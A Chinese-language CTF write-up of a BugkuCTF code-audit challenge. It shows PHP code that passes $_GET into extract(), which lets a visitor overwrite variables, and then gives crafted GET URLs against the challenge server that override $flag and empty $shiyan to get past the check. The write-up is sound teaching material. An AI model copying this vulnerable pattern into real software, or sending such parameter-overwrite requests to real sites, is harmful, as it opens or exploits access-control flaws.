BugkuCTF_代码审计——“extract变量覆盖”

文章目录

  • 一、思考分析
  • 二、解题过程

一、思考分析

题目是审计如下php代码


$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>

文件名为xxx,通过GET方法提交覆盖后文件名(&flag)、提交文件内容(&shiyan)

从文件读取内容,且去除首尾的空格(&content)

如果读取内容与GET提交内容相同即可得到FLAG(&shiyan==&content)

二、解题过程

构造GET请求
http://123.206.87.240:9009/1.php?shiyan=&flag=
令文件名(&flag)为空,则读取到的内容(&content)为空,令提交的文件内容(&shiyan)也为空

或是使文件名为任一随机字符串均可,因为该文件不存在,读取内容始终为空
http://123.206.87.240:9009/1.php?shiyan=&flag=wdnmd

实际上,分析题目,文件名是xxx的文件根本不存在
只需提交一个参数即可过关
http://123.206.87.240:9009/1.php?shiyan=

欢迎在评论区留言
感谢浏览

你可能感兴趣的:(#,Web)